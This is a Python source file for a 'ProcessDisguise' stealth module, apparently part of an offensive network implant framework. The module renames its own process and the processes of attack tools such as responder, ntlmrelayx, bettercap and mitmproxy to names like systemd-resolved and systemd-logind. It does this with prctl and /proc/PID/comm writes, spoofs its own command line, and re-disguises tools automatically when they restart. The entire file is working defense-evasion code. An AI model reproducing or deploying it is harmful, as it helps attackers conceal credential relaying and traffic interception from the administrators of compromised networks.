#!/usr/bin/env python3
"""Process disguise module — rename all SystemMonitor processes to look like
legitimate system services.

Reads process name mappings from stealth.yaml, renames own processes via
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
processes as they start.
"""

import logging
import os
import time
import threading
from typing import Dict, Optional

from modules.base import BaseModule
from utils.stealth import rename_process, spoof_cmdline

logger = logging.getLogger(__name__)


class ProcessDisguise(BaseModule):
    """Rename all managed processes to innocuous system service names."""

    name = "process_disguise"
    module_type = "stealth"
    priority = -400
    requires_root = False

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._name_map: Dict[str, str] = {}       # original -> disguised
        self._disguised_pids: Dict[int, str] = {}  # pid -> fake_name
        self._lock = threading.Lock()

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        # Load process name mappings from stealth.yaml config
        stealth_cfg = self.config.get("stealth_yaml", {})
        self._name_map = stealth_cfg.get("process_names", {})
        if not self._name_map:
            # Fallback defaults matching stealth.yaml
            self._name_map = {
                "python3": "systemd-thermald",
                "bettercap": "networkd-dispatcher",
                "tcpdump": "systemd-netlogd",
                "responder": "systemd-resolved",
                "mitmproxy": "systemd-networkd",
                "ntlmrelayx": "systemd-logind",
                "hostapd": "wpa_supplicant",
                "dnsmasq": "systemd-resolved",
            }

        # Disguise own process first
        own_fake = self._name_map.get("python3", "systemd-thermald")
        self._apply_disguise(os.getpid(), own_fake)

        # Spoof /proc/self/cmdline
        spoof_cmdline(own_fake)

        # Subscribe to bus events for auto-disguise
        self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
        self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self.state.set_module_status(self.name, "running", pid=os.getpid())

        logger.info(
            "ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
            len(self._name_map), os.getpid(), own_fake,
        )

    def stop(self) -> None:
        if not self._running:
            return

        self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
        self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))

    def status(self) -> dict:
        with self._lock:
            pids_snapshot = dict(self._disguised_pids)
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "disguised_pids": pids_snapshot,
            "total_disguised": len(pids_snapshot),
            "name_mappings": len(self._name_map),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        new_names = config.get("stealth_yaml", {}).get("process_names")
        if new_names:
            self._name_map.update(new_names)

    # ------------------------------------------------------------------
    # Public API for other modules / tool_manager
    # ------------------------------------------------------------------

    def disguise_pid(self, pid: int, name: str) -> bool:
        """Disguise an arbitrary PID with the given fake name.

        Called by tool_manager or other modules to rename external processes.
        For external processes, we write to /proc/PID/comm (requires root or
        same user).
        """
        return self._apply_disguise(pid, name)

    def get_fake_name(self, original_name: str) -> str:
        """Look up the disguise name for a process. Returns original if no mapping."""
        return self._name_map.get(original_name, original_name)

    # ------------------------------------------------------------------
    # Event handlers
    # ------------------------------------------------------------------

    def _on_module_started(self, event) -> None:
        """Auto-disguise newly started module processes."""
        payload = event.payload
        pid = payload.get("pid")
        module_name = payload.get("module", "")

        if pid and pid != os.getpid():
            # Python modules get the python3 disguise name
            fake = self._name_map.get("python3", "systemd-thermald")
            self._apply_disguise(pid, fake)
            logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)

    def _on_tool_restarted(self, event) -> None:
        """Re-disguise restarted tool processes."""
        payload = event.payload
        pid = payload.get("pid")
        tool_name = payload.get("tool", "")

        if pid:
            fake = self._name_map.get(tool_name, tool_name)
            self._apply_disguise(pid, fake)
            logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)

    # ------------------------------------------------------------------
    # Internal
    # ------------------------------------------------------------------

    def _apply_disguise(self, pid: int, fake_name: str) -> bool:
        """Apply a process name disguise to the given PID."""
        success = False

        if pid == os.getpid():
            # Own process — use prctl
            success = rename_process(fake_name)
        else:
            # External process — write to /proc/PID/comm
            try:
                comm_path = f"/proc/{pid}/comm"
                with open(comm_path, "w") as f:
                    f.write(fake_name[:15])
                success = True
            except (IOError, PermissionError, FileNotFoundError) as exc:
                logger.debug("Cannot disguise PID %d: %s", pid, exc)

        if success:
            with self._lock:
                self._disguised_pids[pid] = fake_name

        return success